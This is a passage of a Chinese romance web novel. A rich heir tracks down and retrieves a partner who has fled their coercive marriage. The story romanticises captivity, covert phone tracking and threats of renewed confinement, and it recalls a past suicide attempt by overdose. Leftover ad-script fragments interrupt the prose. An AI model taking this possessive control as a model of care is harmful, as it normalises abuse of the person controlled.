她后来顺风顺水,保研、出国深造,现在已经在月城一所很不错的高校评上了副教授,和丈夫一同怀孕进产房,一双儿女在程荆结婚前已经会讲话。 经济形势下行,年轻人勒紧裤腰带过日子,生育率年年降低。林殊珩早年是个有点激进的个人主义者,到头来却做了乖女孩、早早结婚生子。程荆常以为只有家庭幸福的人才会渴望婚姻和爱情,他和林殊珩很像,只可惜没有遇上对的人。 程荆从前思索过林殊珩的人生,想着倘若林殊珩爱的人是梁景珉,那么她一定无法得到今天所有的平静,即便她前半段人生苦求的就是浪漫激烈颠簸的爱情。 两人在咖啡馆坐下,谈起人生近况,林殊珩打开手机相册全是孩子的照片,她笑着吐槽他们淘气得一塌糊涂。她的笑颜在程荆眼里缓缓被雨水晕开,皱缩成一团魔幻的虚影。她好像活在另一个世界。 言罢她问:“你还和梁景珉还在一起吗?” 多年前湖畔别墅婚礼的受邀者不多,她也是其中之一。林殊珩并不了解他们之间的纠缠和细节,却敏锐地从氛围中察觉到了真相,还曾问过程荆是否需要帮助。 程荆那时害怕她引火烧身,拒绝了一切帮助,固执地断了联系,说来其实很抱歉。 在一起,这是个很微妙的词。程荆看来,平心而论不欺骗自己的话,他和梁景珉其实从来都没有在一起过。 “分手了,”他说,“他又要结婚了,你知道的吧?” “是的,不过他们这些豪门联姻不是很多?所以多问一句,”林殊珩撑下巴笑着解释,“我是不懂你们这些了,当真比小说还精彩些。” “但其实高中的时候我就看出你们感情不一般,梁景珉那么冷漠的人,却会在你说冷之后站起来关窗。” 她说的好像是另一段人生,无论是谁的,都不可能属于程荆。梁景珉的青春里,程荆查无此人。 程荆没有纠正她,脑海中却忽然浮现起一段久远的记忆。 洛港酒店的顶层套房,落地窗外飘着白毛大雪,冰冷又温暖,烈焰围烧心脏。 梁景珉摸到他身体某处,他快乐得颤抖,落到嘴边却只肯抱怨冷。火舌舔吻耳畔,温柔低沉的嗓音震得他心脏与一切同频震动,绵绵密密地绞进地崩天裂的风暴。他变得不是自己了。 “你一直都怕冷。”耳畔低热的窃语,冷漠的人也会缠绵温存。 高楼让他灵魂颤栗,却莫名喜欢被暴雪围困的感受。万千灯火踩在脚下,他无所顾忌地靠进梁景珉的怀里,仿佛可以就此不再想任何事情,就这般终此一生天荒地老。 他那时候在想什么?好像在想,原来洛港也会下雪。 …… (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 程荆沉默许久,显然是不愿再就此话题多说,林殊珩也识趣没有多问。他借此提起别的来:“你回一中干什么?我刚想进去逛逛,门卫把我拦住了。” “我表妹在这里读高中,她爸爸妈妈在外地,我来送点东西”,林殊珩笑,“现在是管得严了,以前很容易就能混进去。” “纪老师还在吗?”纪老师是他们的高中班主任。 “还在呀,他好像现在带高二呢,你想的话我可以帮你联系。”说着林殊珩就掏出手机。 “不用”,程荆连忙摆手,忽然觉得自己也并没有那么想见他。 林殊珩固执地要把老师的电话号码发给他:“你旧微信还用么?” 自然不用了。程荆现成注册了个新号,两人加上了微信。联系人表空空荡荡。 林殊珩一拍脑门又道:“你刚说你现在没在工作,我忽然想起一桩事。准高一直升生准备集训,化学组在招教练,过两天会去静乡基地,你去正合适,你想我帮你联系吗?” 一中地理位置好但太嘈杂,假期会组织竞赛组去静乡校区集训,当年程荆也去过。 高中那些中年教师是做不来竞赛题的,招教练向来只找保送生或往届毕业生。程荆当年是一中化学竞赛组的,大学也修过相关的专业课,的确适合。只是毕业多年,后来工作方向也不同,程荆哪里还记得这些知识,苦笑摇头。 “哎呀你捡一捡,教高一的还不是绰绰有余?”林殊珩一拍桌子,“你愿不愿意?我和老师很熟的。” 走出咖啡馆和林殊珩告别时程荆还在想这件事,觉得自己大概是烧得不清醒——他怎么就鬼使神差点了头呢? * 梁景珉回到别墅的时候已经很晚,他喝得有点头晕,却仍然敏锐地察觉出异常的气氛。 他试探性地喊了一声翟管家,没人答言,他迅速上了楼,程荆屋门从外上了锁,一打开才看见被在里间着急上火的管家。 管家并没有昏迷太久,醒来时发现自己好好地躺在程荆屋里,然而门却从外面反锁了。程荆的房间没有窗户,门也异常坚固,管家被偷了手机,简直叫天天不应叫地地不灵。 他将事情一五一十对梁景珉说了一遍,等到话音落下的时候,梁景珉的脸色简直已经不能用难看二字来形容了。 “他走了多久了?”他沉声问。 管家沉吟:“他问我借手机的时候十点半……” 现在已经凌晨两点半了,梁景珉的脸色又黑了一分。程荆闹过、挣扎过,甚至报警过,却从来没有一言不发的不告而别过。在梁景珉看来,他不能,也不敢。 他迅速打开手机开始马不停蹄地通电话,深夜里接起电话的人没有一个敢有起床气,线索也得到的很快——管家手机在西京机场,程荆的身份证下只有一张机票信息,是去月城的。 程荆仿佛真的深信梁景珉不会去找他,甚至不知道多买几张机票混淆视听,监控里他的最后一个回眸没有任何情绪,像某种无声的挑衅。也可能只是一个无声的告别。 梁景珉感觉到周身上下窜起乱火,深井荒原被焚烧出蛇形烟雾,他觉得自己忽然无法控制自己的肢体,沦为情绪的附着物。 离开家的时候那里已经变成一片狼藉,本就坏掉的电视彻底损毁,管家平静地收拾残局。 梁景珉离开前只冷冷撂下一句:“给我订今夜飞月城的机票。” 5. 梁家 当天梁景珉并没有成功去往月城。 他其实已经到达了航站楼,然而一通电话把他召回了家。 梁家的别墅笼罩在沉闷的木红色中,这里是梁景珉长大的地方。夜色无垠,他嗅到到久违的窒息感。 他刷指纹进门的时候梁昱霖正坐在沙发上看手机,一身衬衫西裤打扮得还算利落,见他进来,施施然站起身道:“哥哥。” 梁昱霖是梁景珉同父异母的弟弟,只比他小两岁,他的母亲在梁景珉母亲病逝后的三个月就进了门。 他从小就继承了他母亲的聪明相,可惜不过是小聪明,从前连尾巴都藏不住。两人从前也有过和睦的时候,如今却是人尽皆知的关系差劲。 如果说在梁建中还康健的时候两人还只敢明争暗斗,且梁景珉显然占着上风,那么随着梁昱霖这两年羽翼渐丰,又因为梁建中年前中了风卧床修养,两人之间已经是势均力敌的剑拔弩张了。 梁景珉的目光仅在他身上蜻蜓般点触了一刹那,沉着声音问:“他怎么样了?” 梁昱霖一挑眉:“还能怎样?还不是老样子?” 听他话音,梁景珉的眉头重重一锁。 先前打给他的电话中梁昱霖的声音是多年未有的正常,仔细听还有些无措,说梁建中病情急转直下,医生下了病危通知书。梁景珉立刻打电话给梁建中的主治医师,接电话的还是梁昱霖。 他装得太真,连梁景珉都骗了过去。 梁昱霖笑了:“想见你一面还真是不容易啊,哥哥。” 哥哥两个字咬得很重,显然是在挑衅。 梁景珉接到电话后不得不驱车三小时穿越整个西京回家,而他本该今夜找到程荆并把他带回来。 第二日十点半他约了合作公司会谈,晚上有饭局,让梁昱霖整这么一出烽火戏诸侯,他至少得明日深夜才能再启程。 好比救人有所谓的黄金窗口,寻找失物也是同样的道理。一旦让程荆跑远了,如同细针落入大海,虽然梁景珉不吝惜把海抽干,可那样再捞毕竟太麻烦。 他早该想到自己被人耍了,但弄丢程荆让他着急上火,捋不清思路。他三步并作两步上楼到了梁建中的房间,只见他果然十分悠闲地在一堆仪器里睡得安详。 回头,梁昱霖抱臂斜斜倚在门框上。 “弄丢了重要的东西吧,哥哥?”梁昱霖微笑。 “你想要什么?”梁景珉冷静地问他。奇怪,面对程荆时他常常失控,在面对别人的时候却总能很好地控制住自己的情绪。 联想到前夜程荆的含泪质问,他忽然想明白了一切。 梁景珉很擅长把事情做绝,如果他不想让程荆知道自己订婚的消息,那么程荆就一定不会知道。但事情还是发生了,自然是因为有人故意把事情捅到了他面前。 梁景珉看似很冷静,迈着悠闲的步子出了病房,甚至还松了松领带,反手带上了门。 然而下一秒,他就掐住了梁昱霖的脖子,将他重重惯在了墙面上。 墙体不愿承受梁景珉的怒火,哀哀发出闷透的重响,引来了好几位老宅的看门人。 梁景珉从牙关里逼出极低的质问:“是你告诉他的。” 难怪程荆那日会那样伤心,那样笃定,那样决绝。原来是梁昱霖。原来又是梁昱霖。梁景珉看着他的弟弟,仿佛头一次看清他,像是幼年时无数次行经的荒野,不察觉间着眼,其间竟生出了平畴绿野与重重荆棘,扎了一脚血。 见他气急败坏,梁昱霖眼角泛了点兴奋的红:“是啊,他一开始还不肯相信,我给他看了照片才信了三分。” 他低低道:“游戏还没结束呢,哥哥,谁输谁赢且走着瞧吧。” 梁景珉的呼吸陡然粗重起来,仿佛是想给他一拳,但到底还是没有出手。 两人都长得像父亲,所以即便不是一母所生也看得出来是两兄弟,此刻相立对视,像个西装革履的恶魔在揽镜自赏。 气氛已经到了不能更差的地步,几个佣人呼剌剌的想上来劝架,被管家远远拦住了。 “他去哪儿了?”梁景珉松开了手。 梁昱霖那张和梁景珉十分相似的脸上绽放出一个有毒的微笑,他缓慢整理着皱巴的领子,垂目时唇角勾出一个弧度:“我怎么知道?我只是给他捎个信。毕竟我和程总也算是老朋友了,对吧?” 他摊了摊手,又道:“梁景珉,说到底还是你太贪心。家里已经藏着一位,外头还想再娶?天下没有这样的好事。” 他懂什么?梁景珉摔门而去的时候心里徘徊着这么一句话。 梁景珉在高速上不顾一切地开着快车,暗色的闪电疾行于险狭夜色中,他有那么一瞬间的冲动想要抛下手头的所有事赶往月城。 程荆脱离视线的每个片刻都让他感觉有脱轨的失控感,更何况当梁昱霖开始插手,这件事的复杂性显然上了一个量级。当然,倘若不是梁昱霖致力于给他添堵,他与程荆或许这辈子都不会有交集。 梁景珉再一次驱车到达机场的时候天色已经蒙蒙亮,他此刻不再那么漂亮,目光有些混沌,胡茬从光洁的下颌上窜出,最锋利的刀刃也会磨损疲累。 他知道自己不再是可以为了感情任性的年纪,也怀着对程荆的最后一丝期冀,终于还是放弃了月城之行,掉头回了公司。 次日深夜他结束饭局,喝得半醉,上车时才发现司机不知道什么时候被调包成了贺沛廷,于是顺手关了后座车门坐到了副驾。 他喝得胃疼,看起来只是脸色发青,漠然坐着,良久才问:“怎么是你。” 倘若不是贺沛廷那日非要他前去赴宴,此刻的种种棘手烦心事也都不会存在了。贺沛廷心大,没看出梁景珉当下其实很不想见他。 贺沛廷解释道:“我正好要去机场,可巧碰上老许等着接你,我顺路,就让他回去了……小盼突然说要和同学去泰国玩,告诉我的时候人都落地了,我妈和我都不放心,所 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 以去看着她。” 小盼是贺沛廷的亲妹妹,过了年才满十九岁。 梁景珉不关心他的事情,支着手揉太阳穴,敷衍地嗯了两声。 贺沛廷永远安静不下来。看见梁景珉失态简直百年难遇,他也绝对不可能放过在这种时候打趣他的好机会。 “我上次说什么来着,让你防着点低调点,这下好,让他知道了吧。” 梁景珉看都没看他一眼,冷道:“开你的车。” 贺沛廷充耳不闻,如果不是手还把着方向盘下一秒必然要搓手偷笑了:“啧啧啧,看你吃瘪真是千载难逢。不过要我说,人铁了心要走,你去找也没用。捉回来还不是再跑么?” 梁景珉开了窗,风灌入车厢内,他十分平静地点了一支烟:“他不敢。” 贺沛廷虽然没出口,心里却暗叹程荆胆子也是真够大,之前跑了那几次的教训是真一点儿不吃,反而变本加厉了。 “那把他找回来之后你打算怎么样?又关起来?”他问。 梁景珉看起来越是平静就越是动了真火,贺沛廷替程荆默哀了一秒钟:既然跑都跑了,那就最好跑远一点别再给梁景珉抓住,否则以他的脾气,程荆再被带回西京之后罚酒是吃定了。 敢惹梁景珉的人掰手指就能数出来,其中最大头的两位一个是他老婆,一个是他弟弟。当真讽刺。 见梁景珉不答言,贺沛廷操着仅剩不多的良知劝了一句:“要我说,这次是你理亏,人找回了之后就别动气了,好好买点东西哄着,否则你们两个硬骨头碰在一起,我真怕再闹出人命来。” 梁景珉还是没回头,沉默地吐出一口烟。良久他才说:“我还以为,他最近好多了。” 虽然还是犟、冷淡、不听话,但至少愿意和他说话,能和和气气坐在一张餐桌上吃晚饭了。几乎只要再近一点点,就能回到陌生人的状态。 他的声音有点空,贺沛廷莫名觉得陌生。他思来想去出了个馊主意:“不然你们生个小孩得了,到时候他关注都放在孩子身上,估计也空不出精力恨你了。” 梁景珉摇摇头,苦笑:“还用得着你说?梁建中催了多久了。但我之前去医院做过检测,异体反应风险太大,我大概率没法活着下来手术台的。” 贺沛廷有些讶异:“谁说要你生了,他不行么?”对标梁景珉的身份地位,身边圈子里喜欢同性的,哪个不是上赶着有人愿意生,梁景珉却理所应当地认为该做手术生育的人是自己,不怪贺沛廷惊掉下巴。 贺沛廷踩了脚刹车,用全新的审视的眼光从头到脚打量了一遍梁景珉,隐隐有点兴奋。 梁景珉在烟雾迷蒙里偏头冷峻瞥了他一眼,狂风吹起他的发丝,他方寸分毫未乱。 贺沛廷转头笑了,手在嘴上比划了一下,示意自己识趣闭嘴。 的确,程荆身体不好,即便他自己心甘情愿,梁景珉也绝对不会允许。 更何况,程荆是一定不会情愿的。 6. 静乡 很遗憾,等到梁景珉终于赶到月城的时候,程荆人已经在静乡了。 静乡是月城代管的一个县级市,亚热带大陆性季风湿润区,四季分明,雨量充沛。 这一届的小孩看起来很兴致盎然,中午才到静乡校区落脚,整理了两个小时床铺和房间,下午两点半就几乎全部坐进教室里开始自习了。 严格来说,他们都还只是初中生。这些学生都是通过了重重考核筛选出来的佼佼者,凭借出色的数理能力外加优异的综合成绩排名直升一中——相当于高考中的保送生,不用参加中考。 月城一中以竞赛出挑闻名,大半靠的不是师资而是这群优秀的学生,他们天生擅长逼迫自己,是应试教育培养出的完美产品。 直升后的这批学生大多需要选择意向的竞赛组别,并在高中开学前提前学完该学科高中三年的全部内容并开始竞赛训练。 即便他们的学习能力已经远超平均水平,自律能力和效率也都是顶尖,也仍然需要在接下来的几个月中经历重重考核优中选优,最终剩下20%留在竞赛组。程荆也曾经是他们中的一员。 这次所有直升生都来到了静乡校区集训,而程荆的任务是在接下来的学期中以最快的速度教完高中化学的所有知识,方便后续衔接他们化学竞赛的教学内容。 他每日白天讲课,晚上往后复习高中化学的知识,如同林殊珩预料的一样,即便丢了十数年没学,讲高中化学课内知识对他来说也是轻而易举。 可惜教学之外,他并不如同其他教练一样和学生打成一块,享受着少年人赤诚的追捧抑或是兴奋地传授学习经验。 程荆过去也是这样高强度训练方式的忠诚信徒,也曾有过很长一段时间认为竞赛和高考升学就是人生的一切,不过现在那段岁月已经渺远又模糊,他的心态也已经大不相同。他惧怕被那些孩子的信念灼伤,出于本能躲避。 程荆不知道的是,他在学生中其实已经相当出名。 他是一个很容易让人有距离感的人。身高腿长,一头白发和惨白的皮肤,完美的头颅配上一身笔挺风衣,看起来冷漠又疏离,似乎永远不会把目光放在别人身上。 除却这些,再配上他出色的学历背景。如此种种拼凑出一个可望不可及的高岭之花形象,令所有高中生仰慕钦佩,不由得认为他和这个破败陈旧的乡下校区简直不像存在于同一个图层。 每每有学生从他身侧掠过,余光皆尽在诉说着同一个观念——他和这里太不相称了。 大家私下都议论,议论他的病症、议论他长着一张不像竞赛生的脸、议论他曾经闪闪发光的履历。 只是倘若有人将这些观点告知程荆,他一定会疑惑又讶异。 他从前其实是一个很温柔的人,披了一副冷淡的皮囊,掩盖住了他的好脾气、好性格,只在梁景珉的逼迫下显露出压抑的疯狂。 当程荆再一次涉足这片土地的时候,往事扑面而来,几乎要将他压倒。 他不可避免回想起从前那些闷热的夏天。蛛网攀爬在破旧床沿,昏暗破败,一动就吱呀乱响。没完没了的考试,灰绿色的试卷,骨缝都浸润着新刷的油墨气味。考完教室后张贴的排名表,指尖划过表格黑栏时阻碍的触感。平静的目光无数次掠过同一张侧颜,火焰在心里沉默燃烧殆尽,一如那些他曾在这里度过的那些麻木压抑的日子。 他吐出一口气,强行将这些从脑海中剜去。 上课铃声响了,他有些着急般站起来,忽然想起这节并没有课。手机铃声却不合时宜地在此刻尖锐刺入头颅。 程荆已经很久没有接过电话,看着屏幕上陌生的、显示来自西京的号码,脑海中几乎是条件反射般警铃大作。 他手上被激得发抖,迅速将手机关成静音却没有挂断电话,任由它自己无助地在手掌心震动,频率与心跳吻合。 时间太长,电话自动断了。 程荆两只手抓着电话,仿佛被赦免了某种刑罚,然而还没等他一口气喘上来,手机又一次开始震动。 同样的号码,熟悉的行为模式,程荆的呼吸急促起来。 理智告诉他不可能是那个人。他已经不要他了,厌倦了、腻了,怎么可能再联系他。但他心脏依旧剧烈跳动,半是雀跃,半是恐惧。 是骚扰电话吧,他这一阵子注册了很多软件的新用户,想重新和脱轨的世界建立连接。于是程荆按了挂断。 手机终于消停了,他长舒一口气,打开手边的作业打算开始批阅。 然而不过几秒,手机再度震动起来。这一次他几乎没有犹豫,在铃声作响的下一秒立刻接起了电话。 电话另一头是轻微的出气声,程荆没有说话。 那头终于开口:“程荆。” 再熟悉不过的声线,有些嘶哑,不知道是不是换季受了风。程荆重重合上双目。是他。 联系他做什么?程荆有些费解,分明是他来做这个主动的人,斩断一切关系,没有任何索求和怨言,心甘情愿成全他。他还有什么不满足的?为什么还要来联系他? 程荆脑海一片混沌,落到口头只剩一句:“您好,请问是哪位?” 电话另一头显然有些恼羞成怒,半是冷笑半是生气,恶狠狠道:“程荆,你真行。” 程荆偏头笑了,下一秒按断了电话,转头拉黑了这个号码。 他忽然觉得自己很可笑,总非要为梁景珉的种种行径找出一个原因。但答案其实是,他是个天生的变态,行为模式没有规律,享受的不过是拿捏猎物的快感,浪费时间了解他还不如浪费时间了解一头猪。 最初意识到自己被玩弄被抛弃的时候他也曾经心碎过,现在却已经相当平静,程荆用右手掐住左手脉搏,开始静静数自己的心跳。 梁景珉坐在车后座,望着被骤然挂断的电话,牙关几乎要咬碎。 再回拨过去,对方显示正在通话中,显然是被拉黑了。 他收敛了情绪,拨通另一个电话:“没关机……对……我现在就要,越快越好。” 不过多时,程荆的位置就发到了梁景珉的手机上,他盯着位置看了半天,眉心被拧出一道显眼的痕迹。 管家坐在前座问:“梁总,现在去哪儿?” 梁景珉的眼神黯淡了片刻,像是想起什么久远的事情。 他的情绪像是燃烧到一半被暴雨浇熄,唯余潮湿的余烬忽明忽暗:“静乡,月城一中的静乡校区。” 程荆数到一千下,终于觉得心跳频 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 率回归正常,放下手机一偏头,眼看窗外又淅淅沥沥下起雨来,当真没完没了。 其实已经闷热了好几天,手机弹出橙色预警,不出意外将迎来一场久违的暴雨。 一下雨校园小路就变成泥水坑,程荆想起自己第一次来这里的场景。 他轻轻合眼,总觉得自己还能闻到少年时那股熟悉的气息,仿佛是午后暴雨停了,太阳蒸出的厚厚热浪,尘土味夹在其间,水泥地上攀爬着斑斑点点的水渍。味道远胜于记忆,身临其境则死去的回忆就地复活。 程荆站在破旧的高中里,在楼道里一直坐到天黑,任由自己沉沦过往。 三年前,西京。 那时候程荆做着一份令人艳羡的工作,拿global pay,已经是他所拥有的出身和学历等全部资源的最大化成果。工作很忙,他几乎没有私人时间,唯一的娱乐大约是落日时在办公区的落地窗前偶然驻足,透过玻璃可以看见西京盛大的晚霞和云海。 高中结束后程荆从没想过自己还会会再见到梁景珉。 说到底他们不是一个世界的人,同窗三年都没做成朋友,更遑论将来。所以在会议室玻璃门外看见穿着黑色西装的梁景珉时他几乎震惊得走不动路。 他沉着脸色谈工作,一言一行都妥帖完美贴合身份,神态和十几岁时几乎没有分别。 穿着打扮到底还是变了,眉眼比从前更锋利,变成程荆更陌生的样子。程荆花费了很多年和很多的心血忘记他,然而重新看见他的第一眼便几乎溃不成军。都说靠时间忘却的人经不起见面,程荆苦涩地思考,很惊讶这竟然是句真话。 他好像忽然又忘记怎样走路,肢体僵硬,一如十几岁时躲闪的目光。求你看我,求你别看我。 但他到底不再是可以随意逃脱退却的小孩,终究还是硬着头皮敲门进了会议室。 对视的第一眼程荆就知道梁景珉早忘记自己是谁,他漂亮的黑眼睛里没有任何与老同学久别重逢的喜悦或讶异,只有平静。 毕竟高中三年,他们几乎没有任何令人印象深刻的对白。 贫瘠的几句对话在深夜被程荆反复用思绪咀嚼,忙碌的梁景珉可不像他这么有闲情逸致。 程荆心一沉,略微品出一点酸痛。 然而出乎意料的是会议后梁景珉在会议室外驻足喊住他,指节轻敲表盘上银色群星,轻飘飘说道老同学好不容易再见,邀他共进午餐。 那是一场糟糕的约会,为了躲避顶楼餐厅落地窗刺目的日光,偌大包间只坐了他们两人。他们都不是记性好的人,高中的往事显得太遥远、太贫瘠,配不上这场昂贵的大餐,最初的惊喜湮灭,室内越发让人觉得太空太安静。 那时候程荆还没学会游刃有余地面对这样的场合,梁景珉却从始至终显得很自如。他有着上位者的姿态,那种毫无顾虑的掌控感。 程荆隐约感觉到这是他们最后一次见面。这餐饭将事实在他眼前血淋淋撕开:尽管他已经很努力想将二人之间的距离缩短,可时间推移,鸿沟只有越来越深。 暴雨敲打大地劈啪作响,程荆觉得方才好不容易偃旗息鼓的心跳大有卷土重来的架势。 大约是真的感觉难以忍受,于是他抬步走入了雨中。 7. 求婚 这是一场罕见的大雨,程荆不记得自己坐了多久,只觉得天色昏沉仿佛世界末日。 因为淋雨,本来就没有将养好的高烧大有卷土重来的架势。自从先前伤了几次后程荆便损了根本,于是干脆破罐子破摔。 其实暴风雨来临前他总有一种隐隐的兴奋,说不清道不明,似乎极端的天气代替他的心情发泄出来,所有人逃回屋内,偌大的世界便仅属于他。 高中的时候每每晚自习看不进去题,或是小考失利,程荆便会和现在一样坐在走廊里。离奇的事这些事件往往与雨水伴生,于是看雨变成了一项常规活动。 不过年少的程荆没有现在的极端,同样是看雨,那时候他至少会保证自己不被淋湿,这时的程荆却任凭自己被淋成落汤鸡。 暴雨顺着他苍白的睫毛和下颌往下落,他沉默安静仿佛一具雕像或是美丽尸体。 他想起来高中三年很痛苦,竞赛生也难免更累一些,且不论几乎所有假期全部原地报废,每个月的淘汰考试都是一次对意志的消磨。 最后真的成了最后一批留在组里的人时他反倒很平静,很快忘却了一路艰辛,甚至有了美好的期望。倘若一切顺利,他可以在5月拿到保送名额,那时夏天应当刚刚开始。 几乎靠着着一口气撑着,他不分白天黑夜地训练,拿了金牌却差一步没进国家队,虽然有降分但还得参加高考。 拿到结果的那一刻他其实很平静,内心早就无数次预演过这场结局,况且这也不是太坏的结果。然而他低估了遗憾与悲伤的后劲,黎明时分一切成倍灭顶而入,他应付不暇,吞了大半瓶药片,当日被送往中心医院洗胃。 程荆忽然意识到和梁景珉分手竟然和竞赛失利略有相似,为了期待一个美好的结局而经历忍受了漫长的折磨和痛苦,最终却没能修成正果。 痛苦的产生似乎都有一个生效期,有长有短,现在想必到了发作时间。从看见梁景珉搂着那个女孩时他就该知道一切已经结束,然而这一刻他才意识到,一切真的结束了。那么多年零零碎碎的折磨,咬牙和血吞咽的挣扎都是一场无用的笑话。 坐在雨里的程荆想到这里,终于觉得回忆无法忍受,站起身来逃也似的想离开。然而双脚像踩在棉花上,再往前走两步就要栽倒。 软倒的身体像一袋失去支撑的谷物,突然从高处倾泻而下,毫无生气地铺散开来。 天旋地转,周遭一切都模糊成淋漓水渍,恍惚间他好像看见梁景珉的身影。熟悉的一双手,以及一张黑色的打伞遮掩住了昏沉的天空。 程荆觉得自己出现了幻觉,仿佛是梁景珉冰凉的掌心托住自己的后颈,不让自己坠落下去。 狂风吹得他太冷,昏迷前的最后一刻,他意志模糊,悲伤地说着清醒时一定不会说的话:“带我回家吧,梁景珉,我想回家了。” 一语终了,眼前的人却不见有什么反应,程荆不知道自己用尽全力也没将这句话说出口。 梁景珉的手发抖,却仍旧稳稳当当将他打横抱在怀里,黑伞单脚朝天被抛弃在雨里,不过片刻便淤积成一片纯黑的湖泊。 …… 月城,中心医院。 因为程荆昏迷,梁景珉就近带他来月城的医院,他中学时曾经来这里看过病,还算熟悉。 医生打灯看程荆的喉咙,诧异地问搂着他的梁景珉:“都化脓了,这几天是怎么吃饭的?” 梁景珉垂目答不出来,有些心虚的样子。 医生摇了摇头。 好在程荆只是先前重感冒的炎症还没好,这次又着了凉所以再度高烧,虽然昏迷不醒但没有大碍。医生留了他在中心医院挂水,好容易才要到了单人病房,梁景珉在走廊里电话不断,管家坐在床前看护程荆。 管家很清楚,梁景珉这次其实动了大气了。 程荆的不告而别以及忤逆还在其次,每一次程荆住医院梁景珉都会情绪十分不好。 除此之外还有另一个致命的底层原因。事实是,或许梁景珉自己都没有意识到,在得知他订婚后,程荆的态度才是他糟糕情绪的源头,那张字迹工整的字条简直令他如鲠在喉。 虽然这个所谓“订婚”本来就只是个虚假的权宜之计,他最初想的只是封锁消息不让程荆知道,然而消息走漏,倘若程荆这时候发脾气、冷战、或者再做些什么别的,或许都不会让他如此不快。 程荆却偏偏选择了最令他恼火的一种方式——留下一句冰冷的祝福,接着平心静气、头也不回地走了。 梁景珉太阳穴突突地跳,几乎有些要控制不住脾气。 他很想进去看着程荆,用医院的x光仪器穿透他的颅骨看清楚程荆的大脑里究竟装着什么样的想法。 然而他的手机铃声随时随地作响,不接不行,接了又吵到睡觉的程荆,于是他不得不被囚禁在走廊里。但离开病房前他认真嘱咐了管家:倘若程荆醒来要见他,一定要立刻出来通知。 此刻他终于在电话和视频会议中抽出十分钟空闲,坐在病房外的长椅上却不好进去,只是坐立难安地漫无目的划拉着手机。 管家在此时走了出来,轻轻合上身后的门。 梁景珉立刻抬头,他没有说话,但灼灼目光在问,他有没有要见我? 他想,如果程荆叫了他的名字,他就即刻进去。 什么离家出走、什么狗屁祝福,这些事情他都可以不追究,只要人没事就好。 然而管家只是冷静陈述着:“他断断续续醒了好几次,没有彻底清醒,什么也没说。” 梁景珉目光黯淡下去,靠回了椅背,神色也冷了。 与此同时,程荆睡得很不安稳。 他睁眼前就知道自己在医院,然而身侧有些嘈杂,很不像经常去的那家或是别墅里自己安养的房间。 因为他受太多次伤,梁景珉在湖畔别墅安置了一整个简单的医疗房间,据说和他父亲是同样规格的。这样他若是受了些不方便出去看医生的伤, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 可以就近在家里得到治疗。 程荆虽然昏迷了却没有失忆,失去意识前的最后记忆便是梁景珉的怀抱。他浑身是水,似乎弄脏了他昂贵的外套。 他竟然真的来了。 为什么来呢?程荆想不出原因。 那天梁昱霖联系到自己,告知他梁景珉订婚的消息时,他的第一反应其实是荒谬。毕竟他们是合法结婚,有结婚证,有法律约束,有婚姻事实,这一切都不可能被简简单单一句话抹消。更何况他知道梁昱霖是怎样的人,所以最初他完全不相信他的话。 但梁昱霖拿出了证据,足以让人瞬间哑口无言的证据。 或许他们所谓的“联姻”,并没有人真的在乎这一切是否是真的,只要舆论和合作有商业价值就好。 在他亲口询问和亲眼确认后,程荆对这件事深信不疑,然而梁景珉的再次现身让他忽然又燃起了希望——或许他是来解释的呢? 一个简单的意志支撑着程荆努力维持清醒,他努力盯着不远处的时钟,尽管他眼睛不好,其实看不清楚现在几时几刻。 但他凭借着模糊的视线辨认着时光的流逝,暗暗祈求自己的要求不算太过分。 事实是他短短一个小时内断断续续醒来了5次,每次都没有维持很久的清醒,只有管家冷冷立在身边,眼睁睁看他每次醒来时都喃喃喊着梁景珉的名字。 程荆则在反复颠簸的苏醒和昏迷中丧失了意志力,浑浊视线中粗黑的时针转过90度,这时他知道自己等不到梁景珉了。 所以所谓道歉所谓在乎都是他一厢情愿的幻想,他们之间并不存在这些不切实际的关系。 真是可惜。 程荆的目光缓缓黯淡下去,他再一次陷入冰凉的梦境,梦里不再存在美好的爱情。 但他罕见地梦到了一场久远的回忆,是他还在工作的时候,那天梁景珉的助理Stella叫住程荆,要他去一趟办公室。 正值黄昏,高层建筑落地窗外的西京暮色绚烂得让人挪不开目光,漫天云海晚霞,程荆却专注地盯着梁景珉的眼睛。 程荆站着,梁景珉仿佛是坐着,见他进来便冷淡地说:“嫁给我吧。” 他还在翻看手中的文件,音调没变,低温冷静,眼皮子都懒得掀一下,仿佛只是在吩咐他明日十点半在某会议室接洽648号计划的交易对手。 程荆听见自己压抑的声线刹那间没震住滚烫的心跳:“什么?” “你可以把这理解为求婚。” “求婚你不应该单膝下跪吗?”程荆听见自己问。 梁景珉的眼睛很黑,盯住程荆的时候让他以为自己的所有心事都无所遁形。程荆忘记了自己当时的心情,只记得自己的手有些发颤。 常言道十指连心,程荆这时候才算真切感受到自己的心脏和肺腑再顺着手指的牵动不受控地喧嚣。 对面的声线依旧疏离,此刻隐约带了点不耐烦的逼迫:“所以你是答应还是不答应?” 8. 接吻 程荆难受的时候很难正常交流。大约是因为他花了太多心思来应付疼痛,所以对于其他此时现在当下发生的事情丧失了基本的感知力。 而梁景珉恰巧是没什么耐心的人。面对着程荆的沉默,他几乎是条件反射般怒火中烧。 看着躺在病床上吊水的程荆,看着他瘦削的脸颊和显而易见的青色血管,他强忍住情绪,说:“和我回去。” 只这一句话,方才还浑身发冷的程荆便炸出一背的汗。 他条件反应似的回想起湖畔别墅昏暗的房间,情|欲与潮湿滚动,他无法控制自己的躯体。 “我不去……”他低声说,手在被子下攥住了床单,眼睫剧烈抖动有如狂风席卷。 他的瞳孔颜色很浅,很多时候让人看不清楚他的情绪,然而在这句话话音落下后,恐惧却几乎从眼睛里溢出来。 梁景珉微微低了身,用尽了浑身所有的耐心,温和地说:“你一个人,不会好好爱惜自己的身体。” 话音落下室内有点安静,挂钟秒针滴滴答答往前走。 “所以这是原因?”程荆出言的瞬间抬头看他,用的还是那套梁景珉最讨厌的眼神。 明明很平和,却莫名让人觉得在挑衅。 “这是原因之一,”梁景珉的声音重了三分,“另一个原因是你没有选择。” 